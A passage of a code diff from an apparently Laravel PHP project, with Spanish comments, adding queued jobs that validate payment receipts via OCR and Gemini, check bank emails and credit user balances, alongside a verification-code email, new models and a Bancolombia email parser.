],
|
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$result = @file_get_contents($apiUrl, false, $context);
|
$data = $response->json();
|
||||||
|
|
||||||
if ($result === false) {
|
if (! ($data['ok'] ?? false)) {
|
||||||
$this->webhookResult = '❌ Error de conexión con la API de Telegram.';
|
$this->webhookResult = '❌ Error de Telegram: ' . ($data['description'] ?? 'respuesta desconocida');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$data = json_decode($result, true);
|
// Registrar comandos del bot (/menu, /salir, /cancelar)
|
||||||
$this->webhookResult = ($data['ok'] ?? false)
|
app(\App\Services\TelegramBotService::class)->registrarComandos();
|
||||||
? '✅ Webhook registrado correctamente: ' . ($data['description'] ?? 'OK')
|
|
||||||
: '❌ Error: ' . ($data['description'] ?? 'respuesta desconocida');
|
$this->webhookResult = '✅ Webhook registrado y comandos configurados correctamente.';
|
||||||
|
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$this->webhookResult = '❌ No se pudo conectar con Telegram: ' . $e->getMessage();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public function render()
|
public function render()
|
||||||
|
|||||||
Regular → Executable
+11
-1
@@ -15,6 +15,15 @@ class ShowConversaciones extends Component
|
|||||||
public string $replyText = '';
|
public string $replyText = '';
|
||||||
public array $mensajes = [];
|
public array $mensajes = [];
|
||||||
|
|
||||||
|
protected $queryString = ['convSelecId' => ['except' => null, 'as' => 'conv']];
|
||||||
|
|
||||||
|
public function mount(): void
|
||||||
|
{
|
||||||
|
if ($this->convSelecId) {
|
||||||
|
$this->cargarMensajes();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public function selectConv(int $convId): void
|
public function selectConv(int $convId): void
|
||||||
{
|
{
|
||||||
$this->convSelecId = $convId;
|
$this->convSelecId = $convId;
|
||||||
@@ -124,7 +133,8 @@ class ShowConversaciones extends Component
|
|||||||
$q->whereHas('contact', function ($s) {
|
$q->whereHas('contact', function ($s) {
|
||||||
$s->where('nombre', 'like', "%{$this->busqueda}%")
|
$s->where('nombre', 'like', "%{$this->busqueda}%")
|
||||||
->orWhere('telefono', 'like', "%{$this->busqueda}%")
|
->orWhere('telefono', 'like', "%{$this->busqueda}%")
|
||||||
->orWhere('canal_id', 'like', "%{$this->busqueda}%");
|
->orWhere('canal_id', 'like', "%{$this->busqueda}%")
|
||||||
|
->orWhereHas('user', fn($u) => $u->where('email', 'like', "%{$this->busqueda}%"));
|
||||||
});
|
});
|
||||||
})
|
})
|
||||||
->orderByDesc('ultimo_mensaje_at')
|
->orderByDesc('ultimo_mensaje_at')
|
||||||
|
|||||||
@@ -0,0 +1,86 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Jobs;
|
||||||
|
|
||||||
|
use App\Models\SolicitudRecarga;
|
||||||
|
use App\Services\PagoValidadorService;
|
||||||
|
use App\Services\TelegramBotService;
|
||||||
|
use Illuminate\Bus\Queueable;
|
||||||
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||||
|
use Illuminate\Foundation\Bus\Dispatchable;
|
||||||
|
use Illuminate\Queue\InteractsWithQueue;
|
||||||
|
use Illuminate\Queue\SerializesModels;
|
||||||
|
use Illuminate\Support\Facades\Cache;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
class ValidarPagoTelegramJob implements ShouldQueue
|
||||||
|
{
|
||||||
|
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||||
|
|
||||||
|
public int $tries = 1;
|
||||||
|
public int $timeout = 60;
|
||||||
|
|
||||||
|
private const MAX_INTENTOS = 9;
|
||||||
|
private const STATE_TTL = 315360000;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
private string $chatId,
|
||||||
|
private array $datosPago,
|
||||||
|
private int $intento = 1
|
||||||
|
) {}
|
||||||
|
|
||||||
|
public function handle(): void
|
||||||
|
{
|
||||||
|
$cacheKey = "tgbot_state_{$this->chatId}";
|
||||||
|
$state = Cache::get($cacheKey, []);
|
||||||
|
$usuarioId = $state['user_id'] ?? null;
|
||||||
|
$bot = new TelegramBotService();
|
||||||
|
|
||||||
|
if (! $usuarioId) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$solicitud = SolicitudRecarga::pendiente($usuarioId);
|
||||||
|
if (! $solicitud) {
|
||||||
|
Log::info("[ValidarPagoTelegramJob] chatId={$this->chatId}: solicitud ya no está pendiente, abortando.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$nombreUsuario = $state['data']['nombre_remitente'] ?? null;
|
||||||
|
|
||||||
|
$resultado = app(PagoValidadorService::class)->validar(
|
||||||
|
$this->datosPago, $usuarioId, $nombreUsuario, 'telegram'
|
||||||
|
);
|
||||||
|
|
||||||
|
if ($resultado['estado'] === 'confirmado') {
|
||||||
|
$bot->autoAplicarRecarga($this->chatId, $state, $solicitud, $solicitud->monto);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($resultado['estado'] === 'ya_usado') {
|
||||||
|
$bot->sendWithKeyboard($this->chatId,
|
||||||
|
"⛔ *Comprobante ya utilizado.*\nEste pago ya fue registrado anteriormente.",
|
||||||
|
[[['text' => '🔙 Menú principal', 'callback_data' => 'menu']]]
|
||||||
|
);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// No encontrado — reintentar o agotar
|
||||||
|
if ($this->intento < self::MAX_INTENTOS) {
|
||||||
|
Log::info("[ValidarPagoTelegramJob] chatId={$this->chatId}: intento {$this->intento}/" . self::MAX_INTENTOS . " — reintentando en 20s");
|
||||||
|
self::dispatch($this->chatId, $this->datosPago, $this->intento + 1)
|
||||||
|
->delay(now()->addSeconds(20));
|
||||||
|
} else {
|
||||||
|
Log::info("[ValidarPagoTelegramJob] chatId={$this->chatId}: intentos agotados, mostrando botón manual");
|
||||||
|
$bot->sendWithKeyboard(
|
||||||
|
$this->chatId,
|
||||||
|
"⚠️ No pudimos confirmar tu pago automáticamente.\nSi ya realizaste la transferencia, presiona Reintentar.",
|
||||||
|
[
|
||||||
|
[['text' => '🔄 Reintentar', 'callback_data' => 'pay_retry']],
|
||||||
|
[['text' => '🔙 Menú principal', 'callback_data' => 'menu']],
|
||||||
|
]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,285 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Jobs;
|
||||||
|
|
||||||
|
use App\Models\ChatMessage;
|
||||||
|
use App\Models\recarga as Recarga;
|
||||||
|
use App\Models\Saldo;
|
||||||
|
use App\Models\SolicitudRecarga;
|
||||||
|
use App\Models\User;
|
||||||
|
use App\Services\GeminiVisionService;
|
||||||
|
use App\Services\OcrExtractionService;
|
||||||
|
use App\Services\PagoValidadorService;
|
||||||
|
use Illuminate\Bus\Queueable;
|
||||||
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||||
|
use Illuminate\Foundation\Bus\Dispatchable;
|
||||||
|
use Illuminate\Queue\InteractsWithQueue;
|
||||||
|
use Illuminate\Queue\SerializesModels;
|
||||||
|
use Illuminate\Support\Facades\Cache;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Valida un comprobante de pago del chat web fuera del request HTTP.
|
||||||
|
*
|
||||||
|
* Antes esto corría dentro del propio request de Livewire: Gemini (hasta 80s)
|
||||||
|
* más la lectura IMAP (20-60s) superaban el límite del gateway y el usuario
|
||||||
|
* recibía un 504. Peor aún, con SESSION_DRIVER=file el request mantenía
|
||||||
|
* bloqueado el archivo de sesión, así que el wire:poll del chat no podía
|
||||||
|
* avanzar y la conversación entera se congelaba.
|
||||||
|
*
|
||||||
|
* Ahora el request solo guarda la imagen y despacha este job. El job escribe
|
||||||
|
* su progreso como mensajes normales del chat (que el poll va mostrando) y
|
||||||
|
* deja el desenlace en caché para que el componente aplique la recarga.
|
||||||
|
*
|
||||||
|
* Espejo del flujo de Telegram, pero independiente: ValidarPagoTelegramJob
|
||||||
|
* no se toca.
|
||||||
|
*/
|
||||||
|
class ValidarPagoWebJob implements ShouldQueue
|
||||||
|
{
|
||||||
|
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||||
|
|
||||||
|
public int $tries = 1;
|
||||||
|
public int $timeout = 100;
|
||||||
|
|
||||||
|
private const MAX_INTENTOS = 9;
|
||||||
|
private const RESULTADO_TTL = 1800;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
private int $convId,
|
||||||
|
private int $usuarioId,
|
||||||
|
private int $solicitudId,
|
||||||
|
private string $comprobantePath,
|
||||||
|
private ?string $nombreRemitente = null,
|
||||||
|
private ?array $datosPago = null,
|
||||||
|
private int $intento = 1,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
/** Clave donde el componente Livewire lee el desenlace. */
|
||||||
|
public static function claveResultado(int $convId, int $solicitudId): string
|
||||||
|
{
|
||||||
|
return "pago_web_{$convId}_{$solicitudId}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public function handle(): void
|
||||||
|
{
|
||||||
|
$solicitud = SolicitudRecarga::pendiente($this->usuarioId);
|
||||||
|
|
||||||
|
if (! $solicitud || $solicitud->id !== $this->solicitudId) {
|
||||||
|
Log::info("[ValidarPagoWebJob] conv={$this->convId}: la solicitud ya no está pendiente, abortando.");
|
||||||
|
$this->bot("Tu solicitud de recarga ya no está activa (puede que hayas iniciado una nueva). Si ya transferiste, escribe a un asesor para confirmar tu pago manualmente.");
|
||||||
|
$this->resolver('cancelado');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Paso 1: leer el comprobante con Gemini (solo en el primer intento)
|
||||||
|
if ($this->datosPago === null) {
|
||||||
|
$datos = $this->leerComprobante();
|
||||||
|
|
||||||
|
if ($datos === null) {
|
||||||
|
return; // leerComprobante() ya avisó al usuario y cerró el flujo
|
||||||
|
}
|
||||||
|
|
||||||
|
$valorIA = (int) ($datos['valor'] ?? 0);
|
||||||
|
|
||||||
|
if ($valorIA !== $solicitud->monto) {
|
||||||
|
$this->bot(
|
||||||
|
"⚠️ El monto del comprobante ($" . number_format($valorIA) . ") no coincide "
|
||||||
|
. "con tu solicitud de recarga ($" . number_format($solicitud->monto) . ")."
|
||||||
|
);
|
||||||
|
$this->resolver('monto_incorrecto');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->datosPago = $datos;
|
||||||
|
$this->bot("📧 Datos leídos correctamente. Ahora estoy buscando tu pago en el banco...");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Paso 2: buscar el pago en el correo
|
||||||
|
$resultado = app(PagoValidadorService::class)->validar(
|
||||||
|
$this->datosPago, $this->usuarioId, $this->nombreRemitente, 'web'
|
||||||
|
);
|
||||||
|
|
||||||
|
$motivo = $resultado['motivo'] ?? '';
|
||||||
|
|
||||||
|
if ($resultado['estado'] === 'confirmado') {
|
||||||
|
// El saldo se acredita aquí y no en el componente: si el usuario
|
||||||
|
// cierra o recarga la pestaña mientras validamos, el dinero tiene
|
||||||
|
// que quedar abonado igual. El componente solo se encarga después
|
||||||
|
// de completar la compra que hubiera quedado pendiente.
|
||||||
|
$this->aplicarRecarga($solicitud);
|
||||||
|
$this->resolver('confirmado', ['monto' => $solicitud->monto]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($resultado['estado'] === 'ya_usado') {
|
||||||
|
$this->bot("⛔ Comprobante ya utilizado. Este pago ya fue registrado anteriormente.");
|
||||||
|
$this->resolver('ya_usado');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($motivo === 'sin_coincidencia' || $motivo === 'sin_correos') {
|
||||||
|
$this->reintentarOAgotar();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->bot("⚠️ No confirmado: " . match ($motivo) {
|
||||||
|
'correo_deshabilitado' => 'la verificación por correo no está configurada',
|
||||||
|
'error_imap' => 'no pudimos leer el correo del banco',
|
||||||
|
'error_sistema' => 'error interno, intenta de nuevo en unos minutos',
|
||||||
|
default => 'no se pudo verificar automáticamente',
|
||||||
|
});
|
||||||
|
$this->resolver('error');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* El pago aún no aparece en el correo: reintentar con espera o rendirse.
|
||||||
|
* El banco puede tardar un par de minutos en enviar la notificación.
|
||||||
|
*/
|
||||||
|
private function reintentarOAgotar(): void
|
||||||
|
{
|
||||||
|
if ($this->intento === 1) {
|
||||||
|
$this->bot(
|
||||||
|
"⏳ Estamos validando tu pago, esto puede tardar unos minutos.\n"
|
||||||
|
. "Te confirmo por aquí en cuanto lo encuentre."
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($this->intento < self::MAX_INTENTOS) {
|
||||||
|
self::dispatch(
|
||||||
|
$this->convId,
|
||||||
|
$this->usuarioId,
|
||||||
|
$this->solicitudId,
|
||||||
|
$this->comprobantePath,
|
||||||
|
$this->nombreRemitente,
|
||||||
|
$this->datosPago,
|
||||||
|
$this->intento + 1,
|
||||||
|
)->delay(now()->addSeconds(20));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
ChatMessage::create([
|
||||||
|
'conversation_id' => $this->convId,
|
||||||
|
'tipo' => 'bot',
|
||||||
|
'tipo_ui' => 'validacion',
|
||||||
|
'contenido' => 'No pudimos confirmar tu pago automáticamente.',
|
||||||
|
'payload' => [
|
||||||
|
'estado' => 'pendiente',
|
||||||
|
'motivo' => 'No encontramos el pago en el correo del banco.',
|
||||||
|
'ia_datos' => $this->datosPago,
|
||||||
|
'botones' => [
|
||||||
|
['label' => '🔄 Reintentar', 'action' => 'pago.reintentar', 'data' => []],
|
||||||
|
['label' => '← Menú principal', 'action' => 'menu.principal', 'data' => []],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'leido' => true,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->resolver('agotado', ['datosPago' => $this->datosPago]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Acredita el saldo, deja registro de la recarga y cierra la solicitud. */
|
||||||
|
private function aplicarRecarga(SolicitudRecarga $solicitud): void
|
||||||
|
{
|
||||||
|
$monto = (int) $solicitud->monto;
|
||||||
|
|
||||||
|
DB::transaction(function () use ($solicitud, $monto) {
|
||||||
|
$user = User::with('saldo')->find($this->usuarioId);
|
||||||
|
$saldo = $user->saldo ?? Saldo::create(['usuario_id' => $this->usuarioId, 'valor' => 0]);
|
||||||
|
|
||||||
|
$saldo->update(['valor' => $saldo->valor + $monto]);
|
||||||
|
|
||||||
|
Recarga::create([
|
||||||
|
'usuario_id' => $this->usuarioId,
|
||||||
|
'saldo_id' => $saldo->id,
|
||||||
|
'monto' => $monto,
|
||||||
|
'valor_recarga' => $monto,
|
||||||
|
'status' => 'Confirmado',
|
||||||
|
'reference' => 'breb-chat-' . $solicitud->id,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$solicitud->confirmar();
|
||||||
|
|
||||||
|
$this->bot(
|
||||||
|
"✅ ¡Tu recarga de $" . number_format($monto) . " fue aplicada!\n"
|
||||||
|
. "Tu nuevo saldo es $" . number_format($saldo->valor) . "."
|
||||||
|
);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Lee el comprobante con Gemini. Devuelve null (y avisa al usuario) si no
|
||||||
|
* se pudo interpretar.
|
||||||
|
*/
|
||||||
|
private function leerComprobante(): ?array
|
||||||
|
{
|
||||||
|
$ruta = storage_path('app/' . $this->comprobantePath);
|
||||||
|
|
||||||
|
if (! is_file($ruta)) {
|
||||||
|
Log::warning("[ValidarPagoWebJob] conv={$this->convId}: no existe {$ruta}");
|
||||||
|
$this->bot("No pude recuperar la imagen del comprobante. Envíala de nuevo, por favor.");
|
||||||
|
$this->resolver('error');
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$base64 = base64_encode(file_get_contents($ruta));
|
||||||
|
$mime = mime_content_type($ruta) ?: 'image/jpeg';
|
||||||
|
$gemini = app(GeminiVisionService::class);
|
||||||
|
$datos = null;
|
||||||
|
|
||||||
|
// Camino nuevo: OCR externo (texto) + Gemini solo-texto. Evita depender
|
||||||
|
// de la cuota/estabilidad de Gemini Vision, que es lo que fallaba antes.
|
||||||
|
$ocr = app(OcrExtractionService::class);
|
||||||
|
if ($ocr->habilitado()) {
|
||||||
|
$texto = $ocr->extraerTexto($base64, $mime, $this->usuarioId, 'web');
|
||||||
|
if ($texto) {
|
||||||
|
$datos = $gemini->extraerPagoDeTexto($texto, $this->usuarioId, 'web');
|
||||||
|
} else {
|
||||||
|
Log::warning('[ValidarPagoWebJob] OCR no devolvio texto, cae a lectura por vision.');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Si el OCR no esta habilitado, no respondio, o Gemini no pudo
|
||||||
|
// estructurar su texto: cae al metodo anterior (Gemini lee la imagen).
|
||||||
|
if (! $datos || isset($datos['__error']) || isset($datos['__parse_error'])) {
|
||||||
|
$datos = $gemini->extraerPago($base64, $mime, $this->usuarioId, 'web');
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $datos || isset($datos['__error']) || isset($datos['__parse_error'])) {
|
||||||
|
Log::warning('[ValidarPagoWebJob] Gemini: ' . ($datos['__error'] ?? $datos['__parse_error'] ?? 'sin respuesta'));
|
||||||
|
$this->bot("No pude leer el comprobante. Intenta con una foto más clara o con mejor iluminación.");
|
||||||
|
$this->resolver('error');
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $datos;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Si el job muere (excepción o timeout) el chat no puede quedarse colgado. */
|
||||||
|
public function failed(?\Throwable $e): void
|
||||||
|
{
|
||||||
|
Log::error('[ValidarPagoWebJob] falló: ' . ($e?->getMessage() ?? 'sin detalle'));
|
||||||
|
$this->bot("Tuvimos un problema validando tu comprobante. Intenta enviarlo de nuevo o pide un asesor.");
|
||||||
|
$this->resolver('error');
|
||||||
|
}
|
||||||
|
|
||||||
|
private function bot(string $contenido): void
|
||||||
|
{
|
||||||
|
ChatMessage::create([
|
||||||
|
'conversation_id' => $this->convId,
|
||||||
|
'tipo' => 'bot',
|
||||||
|
'tipo_ui' => 'text',
|
||||||
|
'contenido' => $contenido,
|
||||||
|
'leido' => true,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function resolver(string $estado, array $extra = []): void
|
||||||
|
{
|
||||||
|
Cache::put(
|
||||||
|
self::claveResultado($this->convId, $this->solicitudId),
|
||||||
|
array_merge(['estado' => $estado], $extra),
|
||||||
|
self::RESULTADO_TTL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,61 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Mail;
|
||||||
|
|
||||||
|
use Illuminate\Bus\Queueable;
|
||||||
|
use Illuminate\Mail\Mailable;
|
||||||
|
use Illuminate\Queue\SerializesModels;
|
||||||
|
|
||||||
|
class ChatOtpMail extends Mailable
|
||||||
|
{
|
||||||
|
use Queueable, SerializesModels;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
public string $codigo,
|
||||||
|
public string $nombre,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
public function build(): static
|
||||||
|
{
|
||||||
|
return $this
|
||||||
|
->subject('Tu codigo de verificacion - ' . config('app.name'))
|
||||||
|
->html($this->renderHtml());
|
||||||
|
}
|
||||||
|
|
||||||
|
private function renderHtml(): string
|
||||||
|
{
|
||||||
|
$appName = config('app.name', 'SirPremium');
|
||||||
|
$codigo = $this->codigo;
|
||||||
|
$nombre = htmlspecialchars($this->nombre);
|
||||||
|
|
||||||
|
return <<<HTML
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="es">
|
||||||
|
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"></head>
|
||||||
|
<body style="margin:0;padding:0;background:#f4f4f5;font-family:Arial,sans-serif;">
|
||||||
|
<table width="100%" cellpadding="0" cellspacing="0" style="background:#f4f4f5;padding:40px 0;">
|
||||||
|
<tr><td align="center">
|
||||||
|
<table width="480" cellpadding="0" cellspacing="0" style="background:#fff;border-radius:12px;overflow:hidden;box-shadow:0 2px 12px rgba(0,0,0,.08);">
|
||||||
|
<tr><td style="background:#10b981;padding:28px 32px;text-align:center;">
|
||||||
|
<h1 style="margin:0;color:#fff;font-size:22px;font-weight:700;">{$appName}</h1>
|
||||||
|
</td></tr>
|
||||||
|
<tr><td style="padding:36px 40px;">
|
||||||
|
<p style="margin:0 0 8px;font-size:15px;color:#374151;">Hola, <strong>{$nombre}</strong></p>
|
||||||
|
<p style="margin:0 0 28px;font-size:15px;color:#6b7280;">Tu codigo de verificacion para acceder al chat es:</p>
|
||||||
|
<div style="text-align:center;margin:0 0 28px;">
|
||||||
|
<span style="display:inline-block;background:#f0fdf4;border:2px solid #10b981;border-radius:10px;padding:16px 40px;font-size:36px;font-weight:700;letter-spacing:10px;color:#059669;">{$codigo}</span>
|
||||||
|
</div>
|
||||||
|
<p style="margin:0 0 6px;font-size:13px;color:#9ca3af;text-align:center;">Este codigo expira en <strong>10 minutos</strong>.</p>
|
||||||
|
<p style="margin:0;font-size:13px;color:#9ca3af;text-align:center;">Si no solicitaste este codigo, ignora este correo.</p>
|
||||||
|
</td></tr>
|
||||||
|
<tr><td style="background:#f9fafb;padding:16px 40px;text-align:center;">
|
||||||
|
<p style="margin:0;font-size:12px;color:#9ca3af;">© {$appName} — soporte a traves del chat</p>
|
||||||
|
</td></tr>
|
||||||
|
</table>
|
||||||
|
</td></tr>
|
||||||
|
</table>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
HTML;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
|
||||||
|
class AiUsageLog extends Model
|
||||||
|
{
|
||||||
|
protected $table = 'ai_usage_logs';
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'servicio', 'canal', 'usuario_id',
|
||||||
|
'input_tokens', 'output_tokens', 'audio_segundos',
|
||||||
|
'tiempo_ms', 'costo', 'resultado', 'detalle',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected $casts = ['detalle' => 'array'];
|
||||||
|
|
||||||
|
public static function registrar(array $data): void
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
static::create($data);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
// No interrumpir el flujo principal si el log falla
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,14 +3,24 @@
|
|||||||
namespace App\Models;
|
namespace App\Models;
|
||||||
|
|
||||||
use Illuminate\Database\Eloquent\Model;
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||||
|
|
||||||
class ChatContact extends Model
|
class ChatContact extends Model
|
||||||
{
|
{
|
||||||
protected $table = 'chat_contacts';
|
protected $table = 'chat_contacts';
|
||||||
protected $fillable = ['canal', 'canal_id', 'nombre', 'telefono', 'metadata'];
|
|
||||||
|
protected $fillable = [
|
||||||
|
'canal', 'canal_id', 'nombre', 'telefono', 'metadata', 'user_id',
|
||||||
|
];
|
||||||
|
|
||||||
protected $casts = ['metadata' => 'array'];
|
protected $casts = ['metadata' => 'array'];
|
||||||
|
|
||||||
|
public function user(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(User::class);
|
||||||
|
}
|
||||||
|
|
||||||
public function conversations(): HasMany
|
public function conversations(): HasMany
|
||||||
{
|
{
|
||||||
return $this->hasMany(ChatConversation::class, 'contact_id');
|
return $this->hasMany(ChatConversation::class, 'contact_id');
|
||||||
|
|||||||
@@ -8,7 +8,15 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
|||||||
class ChatMessage extends Model
|
class ChatMessage extends Model
|
||||||
{
|
{
|
||||||
protected $table = 'chat_messages';
|
protected $table = 'chat_messages';
|
||||||
protected $fillable = ['conversation_id', 'tipo', 'contenido', 'leido'];
|
|
||||||
|
protected $fillable = [
|
||||||
|
'conversation_id', 'tipo', 'tipo_ui', 'contenido', 'payload', 'leido',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected $casts = [
|
||||||
|
'payload' => 'array',
|
||||||
|
'leido' => 'boolean',
|
||||||
|
];
|
||||||
|
|
||||||
public function conversation(): BelongsTo
|
public function conversation(): BelongsTo
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -0,0 +1,36 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
|
||||||
|
class PagoConfirmado extends Model
|
||||||
|
{
|
||||||
|
protected $table = 'pagos_confirmados';
|
||||||
|
|
||||||
|
public $timestamps = false;
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'email_hash',
|
||||||
|
'usuario_id',
|
||||||
|
'valor',
|
||||||
|
'canal',
|
||||||
|
'banco',
|
||||||
|
'referencia',
|
||||||
|
'confirmado_en',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected $casts = [
|
||||||
|
'confirmado_en' => 'datetime',
|
||||||
|
];
|
||||||
|
|
||||||
|
public static function yaUsado(string $hash): bool
|
||||||
|
{
|
||||||
|
return static::where('email_hash', $hash)->exists();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function marcar(string $hash, array $datos): void
|
||||||
|
{
|
||||||
|
static::create(array_merge(['email_hash' => $hash], $datos));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use App\Models\User;
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
|
||||||
|
class SolicitudRecarga extends Model
|
||||||
|
{
|
||||||
|
protected $table = 'solicitudes_recarga';
|
||||||
|
|
||||||
|
public $timestamps = false;
|
||||||
|
|
||||||
|
protected $fillable = ['user_id', 'monto', 'canal', 'estado', 'nombre_remitente'];
|
||||||
|
|
||||||
|
protected $casts = ['created_at' => 'datetime'];
|
||||||
|
|
||||||
|
public static function crear(int $userId, int $monto, string $canal, ?string $nombreRemitente = null): static
|
||||||
|
{
|
||||||
|
static::where('user_id', $userId)
|
||||||
|
->where('estado', 'pendiente')
|
||||||
|
->update(['estado' => 'expirada']);
|
||||||
|
|
||||||
|
return static::create([
|
||||||
|
'user_id' => $userId,
|
||||||
|
'monto' => $monto,
|
||||||
|
'canal' => $canal,
|
||||||
|
'estado' => 'pendiente',
|
||||||
|
'nombre_remitente' => $nombreRemitente,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function pendiente(int $userId): ?static
|
||||||
|
{
|
||||||
|
return static::where('user_id', $userId)
|
||||||
|
->where('estado', 'pendiente')
|
||||||
|
->where('created_at', '>=', now()->startOfDay())
|
||||||
|
->latest('id')
|
||||||
|
->first();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function nombresPrevios(int $userId): array
|
||||||
|
{
|
||||||
|
return static::where('user_id', $userId)
|
||||||
|
->where('estado', 'confirmada')
|
||||||
|
->whereNotNull('nombre_remitente')
|
||||||
|
->orderByDesc('id')
|
||||||
|
->limit(10)
|
||||||
|
->pluck('nombre_remitente')
|
||||||
|
->unique()
|
||||||
|
->values()
|
||||||
|
->toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public function confirmar(): void
|
||||||
|
{
|
||||||
|
$this->update(['estado' => 'confirmada']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function user(): \Illuminate\Database\Eloquent\Relations\BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(User::class);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -29,6 +29,7 @@ class User extends Authenticatable
|
|||||||
'parent_id',
|
'parent_id',
|
||||||
|
|
||||||
'rank_id',
|
'rank_id',
|
||||||
|
'celular',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected $hidden = [
|
protected $hidden = [
|
||||||
|
|||||||
Regular → Executable
+84
-19
@@ -41,13 +41,40 @@ class BancolombiaParser
|
|||||||
$result = [
|
$result = [
|
||||||
'banco' => 'Bancolombia',
|
'banco' => 'Bancolombia',
|
||||||
'tipo' => self::detectarTipo($text),
|
'tipo' => self::detectarTipo($text),
|
||||||
'destinatario' => self::extraer($text, '/Bancolombia[:\s]+([A-ZÁÉÍÓÚÑÜ][A-Za-záéíóúñü\s]+?),\s+recibiste/u'),
|
'destinatario' => self::extraerPrimero($text, [
|
||||||
'remitente' => self::extraer($text, '/transferencia\s+de\s+(.+?)\s+por\s+\$/iu'),
|
'/Bancolombia[:\s]+([A-ZÁÉÍÓÚÑÜ][A-Za-záéíóúñü\s]+?),\s+recibiste/u',
|
||||||
|
'/Hola[,\s]+([A-ZÁÉÍÓÚÑÜ][A-Za-záéíóúñü\s]+?)[,\.]/u',
|
||||||
|
'/estimado[a]?\s+([A-ZÁÉÍÓÚÑÜ][A-Za-záéíóúñü\s]+?)[,\.]/iu',
|
||||||
|
]),
|
||||||
|
